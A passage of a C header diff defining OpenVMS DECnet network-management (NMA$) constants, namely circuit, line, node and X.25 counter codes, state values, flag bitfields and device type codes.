/* Corruption loss */ +#define NMA$C_CTCIR_TPR 810 /* Transit packets received */ +#define NMA$C_CTCIR_TPS 811 /* Transit packets sent */ +#define NMA$C_CTCIR_TCL 812 /* Transit congestion loss */ +#define NMA$C_CTCIR_LDN 820 /* Circuit down */ +#define NMA$C_CTCIR_IFL 821 /* Initialization failure */ +#define NMA$C_CTCIR_AJD 822 /* Adjacency down events */ +#define NMA$C_CTCIR_PAJ 900 /* Peak adjacencies */ +#define NMA$C_CTCIR_BRC 1000 /* Bytes received */ +#define NMA$C_CTCIR_BSN 1001 /* Bytes sent */ +#define NMA$C_CTCIR_MBY 1002 /* Multicast bytes received */ +#define NMA$C_CTCIR_DBR 1010 /* Data blocks received */ +#define NMA$C_CTCIR_DBS 1011 /* Data blocks sent */ +#define NMA$C_CTCIR_DEI 1020 /* Data errors inbound */ +#define NMA$C_CTCIR_DEO 1021 /* Data errors outbound */ +#define NMA$C_CTCIR_RRT 1030 /* Remote reply timeouts */ +#define NMA$C_CTCIR_LRT 1031 /* Local reply timeouts */ +#define NMA$C_CTCIR_RBE 1040 /* Remote buffer errors */ +#define NMA$C_CTCIR_LBE 1041 /* Local buffer errors */ +#define NMA$C_CTCIR_SIE 1050 /* Selection intervals elapsed */ +#define NMA$C_CTCIR_SLT 1051 /* Selection timeouts */ +#define NMA$C_CTCIR_UBU 1065 /* NI user buffer unavailable */ +#define NMA$C_CTCIR_RPE 1100 /* Remote process errors [V2 only] */ +#define NMA$C_CTCIR_LPE 1101 /* Local process errors [V2 only] */ +#define NMA$C_CTCIR_LIR 1240 /* Locally initiated resets */ +#define NMA$C_CTCIR_RIR 1241 /* Remotely initiated resets */ +#define NMA$C_CTCIR_NIR 1242 /* Network initiated resets */ +/* */ +#define NMA$C_CTCIR_MNE 2701 /* Multicast received for protocol */ +/* type, but not enabled */ +#define NMA$C_CTCIR_ERI 2750 /* PCL Errors inbound, bit-mapped */ +/* 0 CRC error on receive */ +#define NMA$C_CTCIR_ERO 2751 /* PCL Errors outbound, bit-mapped */ +/* 1 CRC on transmit */ +#define NMA$C_CTCIR_RTO 2752 /* PCL Remote timeouts, bit-mapped */ +/* 0 Receiver busy */ +#define NMA$C_CTCIR_LTO 2753 /* PCL Local timeouts */ +#define NMA$C_CTCIR_BER 2754 /* PCL Remote buffer errors */ +#define NMA$C_CTCIR_BEL 2755 /* PCL Local buffer errors */ +/* */ +#define NMA$C_CTLIN_ZER 0 /* Seconds since last zeroed */ +#define NMA$C_CTLIN_APR 800 /* Arriving packets received [V2 only] */ +#define NMA$C_CTLIN_DPS 801 /* Departing packets sent [V2 only] */ +#define NMA$C_CTLIN_ACL 802 /* Arriving congestion loss [V2 only] */ +#define NMA$C_CTLIN_TPR 810 /* Transit packets received [V2 only] */ +#define NMA$C_CTLIN_TPS 811 /* Transit packets sent [V2 only] */ +#define NMA$C_CTLIN_TCL 812 /* Transit congestion loss [V2 only] */ +#define NMA$C_CTLIN_LDN 820 /* Line down [V2 only] */ +#define NMA$C_CTLIN_IFL 821 /* Initialization failure [V2 only] */ +#define NMA$C_CTLIN_BRC 1000 /* Bytes received */ +#define NMA$C_CTLIN_BSN 1001 /* Bytes sent */ +#define NMA$C_CTLIN_MBY 1002 /* Multicast bytes received */ +#define NMA$C_CTLIN_DBR 1010 /* Data blocks received */ +#define NMA$C_CTLIN_DBS 1011 /* Data blocks sent */ +#define NMA$C_CTLIN_MBL 1012 /* Multicast blocks received */ +#define NMA$C_CTLIN_BID 1013 /* Blocks sent, initially deferred */ +#define NMA$C_CTLIN_BS1 1014 /* Blocks sent, single collision */ +#define NMA$C_CTLIN_BSM 1015 /* Blocks sent, multiple collisions */ +#define NMA$C_CTLIN_DEI 1020 /* Data errors inbound */ +#define NMA$C_CTLIN_DEO 1021 /* Data errors outbound */ +#define NMA$C_CTLIN_RRT 1030 /* Remote reply timeouts */ +#define NMA$C_CTLIN_LRT 1031 /* Local reply timeouts */ +#define NMA$C_CTLIN_RBE 1040 /* Remote buffer errors */ +#define NMA$C_CTLIN_LBE 1041 /* Local buffer errors */ +#define NMA$C_CTLIN_SIE 1050 /* Selection intervals elapsed [V2 only] */ +#define NMA$C_CTLIN_SLT 1051 /* Selection timeouts [V2 only] */ +#define NMA$C_CTLIN_SFL 1060 /* Send failure */ +#define NMA$C_CTLIN_CDC 1061 /* Collision detect check failure */ +#define NMA$C_CTLIN_RFL 1062 /* Receive failure */ +#define NMA$C_CTLIN_UFD 1063 /* Unrecognized frame destination */ +#define NMA$C_CTLIN_OVR 1064 /* Data overrun */ +#define NMA$C_CTLIN_SBU 1065 /* System buffer unavailable */ +#define NMA$C_CTLIN_UBU 1066 /* User buffer unavailable */ +#define NMA$C_CTLIN_RPE 1100 /* Remote process errors */ +#define NMA$C_CTLIN_LPE 1101 /* Local process errors */ +/* */ +union NMADEF1 { + unsigned short int NMA$W_NODE; + struct { + unsigned NMA$V_ADDR : 10; + unsigned NMA$V_AREA : 6; + } NMA$R_NODE_BITS0; +/* */ +/* Parameter ID word (DATA ID) */ +/* */ + struct { + unsigned NMA$V_PTY_TYP : 15; /* Type mask */ + unsigned NMA$V_FILL_2 : 1; + } NMA$R_NODE_BITS1; +/* */ +/* Parameter data type byte (DATA TYPE) */ +/* */ + struct { + unsigned NMA$V_PTY_CLE : 6; /* Coded length mask */ + unsigned NMA$V_PTY_MUL : 1; /* Coded multiple indicator */ + unsigned NMA$V_PTY_COD : 1; /* Coded indicator */ + } NMA$R_NODE_BITS2; + struct { + unsigned NMADEF$$_FILL_7 : 6; + unsigned NMA$V_PTY_CMU : 2; /* Coded multiple */ + } NMA$R_NODE_BITS3; + struct { + unsigned NMA$V_PTY_NLE : 4; /* Number length mask */ + unsigned NMA$V_PTY_NTY : 2; /* Number type mask */ + unsigned NMA$V_PTY_ASC : 1; /* Ascii image indicator */ + unsigned NMA$V_FILL_3 : 1; + } NMA$R_NODE_BITS4; +/* NTY values (how to display number): */ +/* Define standard values for the DATA TYPE byte */ +/* */ +/* Parameters for 802 control support */ +/* */ +/* Circuit parameters */ +/* */ +/* RSX-specific circuit parameters */ +/* */ +/* VMS-specific circuit NICE parameters [2700 - 2799] */ +/* */ +/* */ +/* VMS-specific datalink only circuit parameters [2800 - 2899] */ +/* */ +/* (these will never be used in NICE messages). */ +/* */ +/* Server Base specific Circuit parameters */ +/* */ +/* Line parameters */ +/* */ +/* RSX-specific line parameters */ +/* */ +/* 1, Topdown */ +/* VMS-specific line NICE parameters [2700 - 2799] */ +/* */ +/* VMS-specific datalink only line parameters [2800 - 2899] */ +/* */ +/* (these will never be used in NICE messages). */ +/* */ +/* Server Base specific line parameters */ +/* */ +/* Communication Medium parameters */ +/* */ +/* Console module parameters */ +/* */ +/* Loader module parameters */ +/* */ +/* Looper module parameters */ +/* */ +/* Configurator module parameters */ +/* */ +/* Logging parameters */ +/* */ +/* X.25 Access module parameters */ +/* */ +/* RSX-specific X.25-Access module parameters */ +/* */ +/* Server Base specific X.25-Access module parameters */ +/* */ +/* X.25 Protocol module parameters */ +/* */ +/* RSX-specific X.25-Protocol Module parameters */ +/* */ +/* VMS-specific X25-PROTOCOL NICE parameters [2700 - 2799] */ +/* */ +/* Server Base specific X.25-Protocol Module parameters */ +/* */ +/* X.25 server module parameters */ +/* */ +/* RSX-specific X.25-Server Module parameters */ +/* */ +/* 1, Off */ +/* */ +/* VMS-specific X25-SERVER NICE parameters [2700 - 2799] */ +/* */ +/* Server Base specific X.25-Server Module parameters */ +/* */ +/* 1, Off */ +/* */ +/* X.25 trace module parameters (VMS-specific) */ +/* */ +/* Node parameters */ +/* */ +/* RSX-Specific Node (Executor) parameters */ +/* */ +/* 1, Off */ +/* */ +/* VMS-specific node parameters */ +/* */ +/* Server Base specific Node (Executor) parameters */ +/* */ +/* 1, Off */ +/* Area parameters */ +/* */ +/* VMS-specific object parameters */ +/* */ +/* VMS-specific link parameters */ +/* */ +/* CM-1/2, DU-2 (link !), HI-4 (pid) */ +/* Circuit counters */ +/* */ +/* VMS-specific circuit counters */ +/* */ +/* 2 Timeout on word */ +/* 1 Transmitter offline */ +/* 2 Receiver offline */ +/* Line counters */ +/* */ +/* Line counter flags (byte offset will be 0) */ +/* */ + } ; +#define NMA$M_CTLIN_BTL 0x8 +#define NMA$M_CTLIN_FCS 0x10 +#define NMA$M_CTLIN_TRJ 0x20 +union NMADEF2 { + char NMADEF$$_FILL_8; /* byte of flags */ + struct { + unsigned NMADEF$$_FILL_9 : 3; /* skip bits 0,1,2 */ + unsigned NMA$V_CTLIN_BTL : 1; /* block too long */ + unsigned NMA$V_CTLIN_FCS : 1; /* frame check */ + unsigned NMA$V_CTLIN_TRJ : 1; /* REJ sent */ + unsigned NMA$V_FILL_4 : 2; + } NMA$R_FILL_8_BITS; + } ; +#define NMA$M_CTLIN_RRJ 0x8 +union NMADEF3 { + char NMADEF$$_FILL_10; /* byte of flags */ + struct { + unsigned NMADEF$$_FILL_11 : 3; /* skip bits 0,1,2 */ + unsigned NMA$V_CTLIN_RRJ : 1; /* REJ received */ + unsigned NMA$V_FILL_5 : 4; + } NMA$R_FILL_10_BITS; + } ; +#define NMA$M_CTLIN_RRN 0x4 +union NMADEF4 { + char NMADEF$$_FILL_12; /* byte of flags */ + struct { + unsigned NMADEF$$_FILL_13 : 2; /* skip bits 0,1 */ + unsigned NMA$V_CTLIN_RRN : 1; /* RNR received */ + unsigned NMA$V_FILL_6 : 5; + } NMA$R_FILL_12_BITS; + } ; +#define NMA$M_CTLIN_TRN 0x4 +union NMADEF5 { + char NMADEF$$_FILL_14; /* byte of flags */ + struct { + unsigned NMADEF$$_FILL_15 : 2; /* skip bits 0,1 */ + unsigned NMA$V_CTLIN_TRN : 1; /* RNR sent */ + unsigned NMA$V_FILL_7 : 5; + } NMA$R_FILL_14_BITS; + } ; +#define NMA$M_CTLIN_INR 0x10 +#define NMA$M_CTLIN_FMS 0x20 +union NMADEF6 { + char NMADEF$$_FILL_16; /* byte of flags */ + struct { + unsigned NMADEF$$_FILL_17 : 4; /* skip bits 0,1,2,3 */ + unsigned NMA$V_CTLIN_INR : 1; /* invalid N(R) received */ + unsigned NMA$V_CTLIN_FMS : 1; /* FRMR sent */ + unsigned NMA$V_FILL_8 : 2; + } NMA$R_FILL_16_BITS; + } ; +#define NMA$M_CTLIN_TUN 0x4 +#define NMA$M_CTLIN_RUN 0x10 +#define NMA$M_CTLIN_FMR 0x20 +#define NMA$C_CTLIN_MBS 2701 /* Multicast packets transmitted */ +#define NMA$C_CTLIN_MSN 2702 /* Multicast bytes transmitted */ +#define NMA$C_CTLIN_RME 2750 /* PCL Remote errors, bit-mapped */ +/* 0 TDM bus busy */ +#define NMA$C_CTLIN_LCE 2751 /* PCL Local errors, bit-mapped */ +/* 0 Transmitter overrun */ +#define NMA$C_CTLIN_MSE 2752 /* PCL master/secondary errors, bit-mapped */ +/* 1 Master down */ +#define NMA$C_CTNOD_ZER 0 /* Seconds since last zeroed */ +#define NMA$C_CTNOD_BRC 600 /* Bytes received */ +#define NMA$C_CTNOD_BSN 601 /* Bytes sent */ +#define NMA$C_CTNOD_MRC 610 /* Messages received */ +#define NMA$C_CTNOD_MSN 611 /* Messages sent */ +#define NMA$C_CTNOD_CRC 620 /* Connects received */ +#define NMA$C_CTNOD_CSN 621 /* Connects sent */ +#define NMA$C_CTNOD_RTO 630 /* Response timeouts */ +#define NMA$C_CTNOD_RSE 640 /* Received connect resource errors */ +#define NMA$C_CTNOD_BUN 650 /* Buffer unavailable */ +#define NMA$C_CTNOD_MLL 700 /* Maximum logical links active */ +#define NMA$C_CTNOD_APL 900 /* Aged packet loss */ +#define NMA$C_CTNOD_NUL 901 /* Node unreachable packet loss */ +#define NMA$C_CTNOD_NOL 902 /* Node out-of-range packet loss */ +#define NMA$C_CTNOD_OPL 903 /* Oversized packet loss */ +#define NMA$C_CTNOD_PFE 910 /* Packet format error */ +#define NMA$C_CTNOD_RUL 920 /* Partial routing update loss */ +#define NMA$C_CTNOD_VER 930 /* Verification reject */ +/* */ +#define NMA$C_CTNOD_SRV_SYC 3310 /* Control buffer failures */ +#define NMA$C_CTNOD_SRV_SYS 3320 /* Small buffer failures */ +#define NMA$C_CTNOD_SRV_SYL 3330 /* Large buffer failures */ +#define NMA$C_CTNOD_SRV_SYR 3340 /* Receive buffer failures */ +/* */ +#define NMA$C_CTXP_ZER 0 /* Seconds since last zeroed */ +#define NMA$C_CTXP_BRC 1000 /* Bytes received */ +#define NMA$C_CTXP_BSN 1001 /* Bytes sent */ +#define NMA$C_CTXP_BLR 1010 /* Data blocks received */ +#define NMA$C_CTXP_BLS 1011 /* Data blocks sent */ +#define NMA$C_CTXP_CRC 1200 /* Calls received */ +#define NMA$C_CTXP_CSN 1201 /* Calls sent */ +#define NMA$C_CTXP_FSR 1210 /* Fast selects received */ +#define NMA$C_CTXP_FSS 1211 /* Fast selects sent */ +#define NMA$C_CTXP_MSA 1220 /* Maximum switched circuits active */ +#define NMA$C_CTXP_MCA 1221 /* Maximum channels active */ +#define NMA$C_CTXP_RSE 1230 /* Received call resource errors */ +#define NMA$C_CTXP_LIR 1240 /* Locally initiated resets */ +#define NMA$C_CTXP_RIR 1241 /* Remotely initiated resets */ +#define NMA$C_CTXP_NIR 1242 /* Network initiated resets */ +#define NMA$C_CTXP_RST 1250 /* Restarts */ +/* */ +#define NMA$C_CTXS_ZER 0 /* Seconds since last zeroed */ +#define NMA$C_CTXS_MCA 200 /* Maximum circuits active */ +#define NMA$C_CTXS_ICR 210 /* Incoming calls rejected, no resources */ +#define NMA$C_CTXS_LLR 211 /* Logical links rejected, no resources */ +/* */ +#define NMA$C_LOOP_MIX 2 /* Mixed */ +#define NMA$C_LOOP_ONE 1 /* Ones */ +#define NMA$C_LOOP_ZER 0 /* Zeroes */ +/* */ +#define NMA$C_LOOP_DCNT 1 /* Default count */ +#define NMA$C_LOOP_DSIZ 40 /* Default message size */ +/* */ +#define NMA$C_LOOP_XMIT 0 /* Transmit */ +#define NMA$C_LOOP_RECV 1 /* Receive */ +#define NMA$C_LOOP_FULL 2 /* Full (both transmit and receive) */ +/* */ +#define NMA$C_STATE_ON 0 /* On */ +#define NMA$C_STATE_OFF 1 /* Off */ +/* */ +#define NMA$C_STATE_SER 2 /* Service (circuit/line only) */ +#define NMA$C_STATE_CLE 3 /* Cleared */ +/* */ +#define NMA$C_STATE_HOL 2 /* Hold */ +/* */ +#define NMA$C_STATE_SHU 2 /* Shut */ +#define NMA$C_STATE_RES 3 /* Restricted */ +#define NMA$C_STATE_REA 4 /* Reachable */ +#define NMA$C_STATE_UNR 5 /* Unreachable */ +/* PVM0001+ */ +#define NMA$C_PCNO_DMAD 1023 /* */ +/* PVM0001- */ +#define NMA$C_ASS_ENA 0 /* Enabled */ +#define NMA$C_ASS_DIS 1 /* Disabled */ +/* */ +#define NMA$C_SUR_ENA 0 /* Enabled */ +#define NMA$C_SUR_DIS 1 /* Disabled */ +/* */ +#define NMA$C_LINSS_STA 0 /* Starting */ +#define NMA$C_LINSS_REF 1 /* Reflecting */ +#define NMA$C_LINSS_LOO 2 /* Looping */ +#define NMA$C_LINSS_LOA 3 /* Loading */ +#define NMA$C_LINSS_DUM 4 /* Dumping */ +#define NMA$C_LINSS_TRI 5 /* Triggering */ +#define NMA$C_LINSS_ASE 6 /* Autoservice */ +#define NMA$C_LINSS_ALO 7 /* Autoloading */ +#define NMA$C_LINSS_ADU 8 /* Autodumping */ +#define NMA$C_LINSS_ATR 9 /* Autotriggering */ +#define NMA$C_LINSS_SYN 10 /* Synchronizing */ +#define NMA$C_LINSS_FAI 11 /* Failed */ +#define NMA$C_LINSS_RUN 12 /* Running */ +#define NMA$C_LINSS_UNS 13 /* Unsyncronised */ +#define NMA$C_LINSS_IDL 14 /* Idle (PSI-only) */ +/* */ +#define NMA$C_CIRTY_POI 0 /* DDCMP Point */ +#define NMA$C_CIRTY_CON 1 /* DDCMP Controller */ +#define NMA$C_CIRTY_TRI 2 /* DDCMP Tributary */ +#define NMA$C_CIRTY_X25 3 /* X25 */ +#define NMA$C_CIRTY_DMC 4 /* DDCMP DMC compatibility mode (DMP) */ +/*/* CIRTY_LAPB, 5 /* LAPB *** remove once all references have been changed to LAPB *** */ +#define NMA$C_CIRTY_NI 6 /* NI */ +/* */ +#define NMA$C_LINSV_ENA 0 /* Enabled */ +#define NMA$C_LINSV_DIS 1 /* Disabled */ +/* */ +#define NMA$C_CIRPST_AUT 1 /* Automatic */ +#define NMA$C_CIRPST_ACT 2 /* Active */ +#define NMA$C_CIRPST_INA 3 /* Inactive */ +#define NMA$C_CIRPST_DIE 4 /* Dying */ +#define NMA$C_CIRPST_DED 5 /* Dead */ +/* */ +#define NMA$C_CIRBLK_ENA 0 /* Enabled */ +#define NMA$C_CIRBLK_DIS 1 /* Disabled */ +/* */ +#define NMA$C_CIRUS_PER 0 /* Permanent */ +#define NMA$C_CIRUS_INC 1 /* Incoming */ +#define NMA$C_CIRUS_OUT 2 /* Outgoing */ +/* */ +#define NMA$C_CIRHS_ENA 0 /* Enabled */ +#define NMA$C_CIRHS_DIS 1 /* Disabled */ +/* */ +#define NMA$C_CIRBF_UNL 255 /* Unlimited */ +/* */ +#define NMA$C_CIRVE_ENA 0 /* Enabled */ +#define NMA$C_CIRVE_DIS 1 /* Disabled */ +#define NMA$C_CIRVE_INB 2 /* Inbound */ +/* */ +#define NMA$C_CIRXPT_ZND 1 /* Z-node */ +#define NMA$C_CIRXPT_PH2 2 /* Force Phase II on this circuit */ +#define NMA$C_CIRXPT_PH3 3 /* Routing III */ +#define NMA$C_CIRXPT_RO3 3 /* Routing III */ +#define NMA$C_CIRXPT_NR4 4 /* Nonrouting Phase IV */ +/* */ +#define NMA$C_DPX_FUL 0 /* Full */ +#define NMA$C_DPX_HAL 1 /* Half */ +#define NMA$C_DPX_MPT 4 /* Multipoint */ +/* */ +#define NMA$C_LINCN_NOR 0 /* Normal */ +#define NMA$C_LINCN_LOO 1 /* Loop */ +/* */ +#define NMA$C_LINPR_POI 0 /* DDCMP Point */ +#define NMA$C_LINPR_CON 1 /* DDCMP Controller */ +#define NMA$C_LINPR_TRI 2 /* DDCMP Tributary */ +#define NMA$C_LINPR_DMC 4 /* DDCMP DMC compatibility mode (DMP) */ +#define NMA$C_LINPR_LAPB 5 /* LAPB */ +#define NMA$C_LINPR_NI 6 /* NI */ +#define NMA$C_LINPR_BSY 9 /* BISYNC (not really - just Genbyte) */ +#define NMA$C_LINPR_GENBYTE 9 /* Genbyte (real name) */ +#define nma$c_linpr_lapbe 10 /* LAPBE */ +#define nma$c_linpr_ea_hdlc 20 /* Extended addressing HDLC */ +#define nma$c_linpr_sdlc 21 /* SDLC */ +#define nma$c_linpr_bisync 22 /* IBM Bisync protocol (not BSY framing) */ +#define nma$c_linpr_swift 23 /* SWIFT Bisync variant */ +#define nma$c_linpr_chips 24 /* CHIPS Bisync variant */ +#define nma$m_linpr_mop 128 /* MOP support */ +/* */ +#define nma$c_code_ascii 1 /* ASCII character code */ +#define nma$c_code_ebcdic 2 /* EBCDIC character code */ +/* */ +#define NMA$C_LINPR_MAS 1 /* Master (controls clock signals) */ +#define NMA$C_LINPR_NEU 2 /* Neutral (uses master's clock signals) */ +#define NMA$C_LINPR_SEC 0 /* Secondary (backup for master failure) */ +/* */ +#define NMA$C_LINCL_EXT 0 /* External */ +#define NMA$C_LINCL_INT 1 /* Internal */ +/* */ +#define NMA$C_LINFM_802E 0 /* 802 Extended */ +#define NMA$C_LINFM_ETH 1 /* Ethernet */ +#define NMA$C_LINFM_802 2 /* 802 */ +/* */ +#define NMA$C_LINSR_USR 1 /* User supplied */ +#define NMA$C_LINSR_CLI 2 /* Class I */ +/* */ +#define NMA$C_LINSWI_DIS 1 /* Switch disabled */ +#define NMA$C_LINSWI_ENA 0 /* Switch enabled */ +/* */ +#define NMA$C_LINHNG_DIS 1 /* Hangup disabled */ +#define NMA$C_LINHNG_ENA 0 /* Hangup enabled */ +/* */ +#define NMA$C_LINRES_DIS 1 /* Restart disabled */ +#define NMA$C_LINRES_ENA 0 /* Restart enabled */ +/* */ +#define NMA$C_LINTY_POI 0 /* DDCMP Point */ +#define NMA$C_LINTY_CON 1 /* DDCMP Controller */ +#define NMA$C_LINTY_TRI 2 /* DDCMP Tributary */ +#define NMA$C_LINTY_DMC 3 /* DDCMP DMC compatibility mode (DMP) */ +/* */ +#define NMA$C_LINMC_SET 1 /* Set address(es) */ +#define NMA$C_LINMC_CLR 2 /* Clear address(es) */ +#define NMA$C_LINMC_CAL 3 /* Clear entire list of multicast addresses */ +#define NMA$C_LINMC_SDF 4 /* Set physical address to DECnet default */ +/* */ +#define NMA$C_ACC_SHR 1 /* Shared access (default protocol user) */ +#define NMA$C_ACC_LIM 2 /* Limited access (point-to-point conn.) */ +#define NMA$C_ACC_EXC 3 /* Exclusive access (allow no others) */ +/* */ +#define NMA$C_LINMO_AUT 1 /* Auto address mode */ +#define NMA$C_LINMO_SIL 2 /* Silo address mode */ +/* */ +#define NMA$C_X25MD_DTE 1 /* line operates as DTE */ +#define NMA$C_X25MD_DCE 2 /* line operates as DCE */ +#define NMA$C_X25MD_DTL 3 /* line is a DTE in loopback */ +#define NMA$C_X25MD_DCL 4 /* line is a DCE in loopback */ +#define nma$c_x25md_neg 5 /* line negotiates mode of operation */ +/* */ +#define nma$c_x25red_busy 0 /* redirected beacuse DTE was Busy */ +#define nma$c_x25red_out_of_order 1 /* redirected beacuse DTE was out of order */ +#define nma$c_x25red_systematic 2 /* redirected systematically */ +/* */ +#define NMA$C_NODTY_ROU 0 /* Routing Phase III */ +#define NMA$C_NODTY_NON 1 /* Nonrouting Phase III */ +#define NMA$C_NODTY_PHA 2 /* Phase II */ +#define NMA$C_NODTY_AREA 3 /* Area */ +#define NMA$C_NODTY_RT4 4 /* Routing Phase IV */ +#define NMA$C_NODTY_NR4 5 /* Nonrouting Phase IV */ +/* */ +#define NMA$C_NODINB_ROUT 1 /* Router */ +#define NMA$C_NODINB_ENDN 2 /* Endnode */ +/* */ +#define NMA$C_NODPW_SET 0 /* Password set */ +/* */ +#define NMA$C_CPU_8 0 /* PDP-8 processor */ +#define NMA$C_CPU_11 1 /* PDP-11 processor */ +#define NMA$C_CPU_1020 2 /* Decsystem 10/20 processor */ +#define NMA$C_CPU_VAX 3 /* Vax processor */ +/* */ +#define NMA$C_NODSNV_PH3 0 /* Phase III */ +#define NMA$C_NODSNV_PH4 1 /* Phase IV */ +/* */ +#define NMA$C_SOFT_SECL 0 /* Secondary loader */ +#define NMA$C_SOFT_TERL 1 /* Tertiary loader */ +#define NMA$C_SOFT_OSYS 2 /* Operating system */ +#define NMA$C_SOFT_DIAG 3 /* Diagnostics */ +/* */ +#define NMA$C_ACES_NONE 0 /* None */ +#define NMA$C_ACES_INCO 1 /* Incoming */ +#define NMA$C_ACES_OUTG 2 /* Outgoing */ +#define NMA$C_ACES_BOTH 3 /* Both */ +#define NMA$C_ACES_REQU 4 /* Required */ +/* */ +#define NMA$C_ALIINC_ENA 0 /* Enabled */ +#define NMA$C_ALIINC_DIS 1 /* Disabled */ +/* */ +#define NMA$C_ALOUT_ENA 0 /* Enabled */ +#define NMA$C_ALOUT_DIS 1 /* Disabled */ +/* */ +#define NMA$C_ALINC_ENA 0 /* Enabled */ +#define NMA$C_ALINC_DIS 1 /* Disabled */ +/* */ +#define NMA$C_PRXY_ENA 0 /* Enabled */ +#define NMA$C_PRXY_DIS 1 /* Disabled */ +/* */ +#define NMA$C_PSPCY_NOR 0 /* Normal */ +#define NMA$C_PSPCY_INT 1 /* Interim */ +/* */ +#define NMA$C_XPRTY_BIL 1 /* Bilateral */ +/* */ +#define NMA$C_XPRST_ON 0 /* On */ +#define NMA$C_XPRST_OFF 1 /* Off */ +#define NMA$C_XPRST_SHU 2 /* Shut */ +/* */ +#define NMA$C_XPRMN_ENA 0 /* Enabled */ +#define NMA$C_XPRMN_DIS 1 /* Disabled */ +/* */ +#define NMA$C_XPRSB_RUN 12 /* Running */ +#define NMA$C_XPRSB_UNS 13 /* Unsynchronized */ +#define NMA$C_XPRSB_SYN 10 /* Synchronizing */ +/* */ +#define NMA$C_Clear_String 0 /*Clear string value */ +#define NMA$C_Clear_Longword -1 /*Clear longword value */ +#define NMA$C_CAL_CLR 0 /*Call clear */ +#define NMA$C_CAL_NOW 1 /*Call now */ +#define NMA$C_DAY_ALL 0 +#define NMA$C_DAY_MON 1 +#define NMA$C_DAY_TUE 2 +#define NMA$C_DAY_WED 3 +#define NMA$C_DAY_THU 4 +#define NMA$C_DAY_FRI 5 +#define NMA$C_DAY_SAT 6 +#define NMA$C_DAY_SUN 7 +#define NMA$C_TIC_No_Cut 0 /*Inhibit timecutting */ +#define NMA$C_TIC_Cut 1 /*Perform Timecutting */ +#define NMA$C_CSG_No_Signal 0 /*Inhibit call-signal data */ +#define NMA$c_CSG_Signal 1 /*Send call-signal data */ +#define NMA$c_IRC_DIS 0 /*Incoming Reverse Disable */ +#define NMA$c_IRC_ENA 1 /*Incoming Reverse Enable */ +#define NMA$c_ORC_DIS 0 /*Outgoing Reverse Enable */ +#define NMA$c_ORC_ENA 1 /*Outgoing Reverse Disable */ +#define NMA$c_RED_DIS 0 /*Redirect Enable */ +#define NMA$c_RED_ENA 1 /*Redirect Disable */ +#define NMA$c_MOD_NOAUTO 0 /*Mode AUTO time-cutting */ +#define NMA$c_MOD_AUTO 1 /*Mode non-auto time-cutting */ +#define NMA$c_SWC_DIS 0 /*Enable switched mode */ +#define NMA$c_SWC_ENA 1 /*Set line for Leased operation */ +#define NMA$c_MDM_OFF 0 /*Enable modem signals */ +#define NMA$c_MDM_ON 1 /*Disable modem signals */ +#define NMA$c_DTS_NO_CABLE 1 /*DTE does not have X21 cable */ +#define NMA$c_DTS_NO_X21_CABLE 2 /*DTE has none-X21 cable. */ +#define NMA$c_DTS_READY 3 /*DCE is not ready */ +#define NMA$c_DTS_NOT_READY 4 /*DTE is signalling Not-Ready to network. */ +#define NMA$c_DTS_ACTIVE 5 /*DTE in normal working mode. */ +#define NMA$c_DTS_NO_OUTGOING 6 /*Outgoing calls prohibitedin normal working mode. */ +#define NMA$c_CAS_NONE 1 /*Call-Status - No call active */ +#define NMA$c_CAS_OUT 2 /*Outgoing call active */ +#define NMA$c_CAS_IN 3 /*Incoming call active */ +#define NMA$c_CAS_OUT_R 4 /*Outgoing reverse active */ +#define NMA$c_CAS_IN_R 5 /*Incoming reverse active */ +#define NMA$c_DTL_ACCEPT 1 /*Accept call from */ +#define NMA$c_DTL_REJECT 2 /*Reject call from */ +#define NMA$C_CAC_MAN 1 /*X21 controls connect/accept */ +#define NMA$C_CAC_AUTO_CONNECT 2 /*Driver connects automatically */ +#define NMA$C_CAC_AUTO_ACCEPT 3 /*Enhanced subaddressing */ +/* */ +#define NMA$C_JAN 1 +#define NMA$C_FEB 2 +#define NMA$C_MAR 3 +#define NMA$C_APR 4 +#define NMA$C_MAY 5 +#define NMA$C_JUN 6 +#define NMA$C_JUL 7 +#define NMA$C_AUG 8 +#define NMA$C_SEP 9 +#define NMA$C_OCT 10 +#define NMA$C_NOV 11 +#define NMA$C_DEC 12 +/* */ +#define NMA$C_SOFD_DP 0 /* DP11-DA (OBSOLETE) */ +#define NMA$C_SOFD_UNA 1 /* DEUNA UNIBUS CSMA/CD communication link */ +#define NMA$C_SOFD_DU 2 /* DU11-DA synchronous line interface */ +#define NMA$C_SOFD_CNA 3 /* DECNA CSMA/CD communication link */ +#define NMA$C_SOFD_DL 4 /* DL11-C, -E, or -WA synchronous line interface */ +#define NMA$C_SOFD_QNA 5 /* DEQNA CSMA/CD communication link */ +#define NMA$C_SOFD_DQ 6 /* DQ11-DA (OBSOLETE) */ +#define NMA$C_SOFD_CI 7 /* Computer Interconnect Interface */ +#define NMA$C_SOFD_DA 8 /* DA11-B or -AL UNIBUS link */ +#define NMA$C_SOFD_PCL 9 /* PCL11-B multiple CPU link */ +#define NMA$C_SOFD_DUP 10 /* DUP11-DA synchronous line interface */ +#define NMA$C_SOFD_LUA 11 /* DELUA CSMA/CD communication link */ +#define NMA$C_SOFD_DMC 12 /* DMC11-DA/AR, -FA/AR, -MA/AL or -MD/AL interprocessor link */ +#define NMA$C_SOFD_LNA 13 /* MicroServer Lance CSMA/CD communication link */ +#define NMA$C_SOFD_DN 14 /* DN11-BA or -AA automatic calling unit */ +#define NMA$C_SOFD_DLV 16 /* DLV11-E, -F, -J, MXV11-A or -B asynchronous line */ +#define NMA$C_SOFD_LCS 17 /* Lance/Decserver 100 CSMA/CD communication link */ +#define NMA$C_SOFD_DMP 18 /* DMP11 multipoint interprocessor link */ +#define NMA$C_SOFD_AMB 19 /* AMBER (OBSOLETE) */ +#define NMA$C_SOFD_DTE 20 /* DTE20 PDP-11 to KL10 interface */ +#define NMA$C_SOFD_DBT 21 /* DEBET CSMA/CD communication link */ +#define NMA$C_SOFD_DV 22 /* DV11-AA/BA synchronous line multiplexer */ +#define NMA$C_SOFD_BNA 23 /* DEBNA BI CSMA/CD communication link */ +#define NMA$C_SOFD_BNT 23 /* DEBNT **obsolete** */ +#define NMA$C_SOFD_DZ 24 /* DZ11-A, -B, -C, -D asynchronous line multiplexer */ +#define NMA$C_SOFD_LPC 25 /* LANCE/PCXX CSMA/CD communication link */ +#define NMA$C_SOFD_DSV 26 /* DSV11 Q-bus synchronous link */ +#define NMA$C_SOFD_CEC 27 /* 3-COM/IBM-PC CSMA/CD communication link */ +#define NMA$C_SOFD_KDP 28 /* KMC11/DUP11-DA synchronous line multiplexer */ +#define NMA$C_SOFD_IEC 29 /* Interlan/IBM-PC CSMA/CD communication link */ +#define 